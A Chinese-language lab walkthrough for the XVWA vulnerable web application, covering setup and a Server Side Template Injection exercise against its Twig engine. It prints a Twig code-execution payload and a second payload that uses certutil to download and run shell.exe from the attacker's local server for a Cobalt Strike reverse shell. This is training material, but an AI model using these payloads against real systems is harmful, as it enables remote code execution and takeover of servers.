XVWA-WalkThrough


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


笔记目录:

靶场项目地址


实验环境

环境仅供参考

  • phpstudy
  • Microsoft Windows 10 企业版 LTSC - 10.0.17763
  • VMware® Workstation 15 Pro - 15.0.0 build-10134415
  • kali 4.19.0-kali3-amd64
  • CobaltStrike4.1

搭建/使用

这里使用 phpstudy 搭建, mysql5.1.60 + php5.2.17 环境

数据库需要手动创建 xvwa 库,并且修改 config.php,输入数据库连接的凭证


Server Side Template Injection (SSTI)

由于模板引擎支持使用静态模板文件,并在运行时用 HTML 页面中的实际值替换变量 / 占位符,从而让 HTML 页面的设计变得更容易。当前广为人知且广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 和 Velocity。

如果攻击者能够把模板指令作为用户输入进行注入,并且这些指令可以在服务器上执行任意代码的话,那么他们离服务器端模板注入攻击也不远了。

访问页面,尝试输入 ${{1+2}} ,根据服务器响应来看,得到的结果为 $3 。根据这个响应,我们可以推测这里使用了模板引擎,因为这符合它们对于 {{}} 的处理方式。

根据提示, 使用 TWIG 模板引擎的 POC

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

配合 CS 回弹一个 shell(windows)

CS 监听

生成回弹 payload

上传到 kali 部署

python -m SimpleHTTPServer 8000

配合 payload 执行

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("certutil.exe -urlcache -split -f http://192.168.141.143:8000/shell.exe shell.exe & shell.exe")}}

成功上线

查看服务器目录下,存在 shell.exe 文件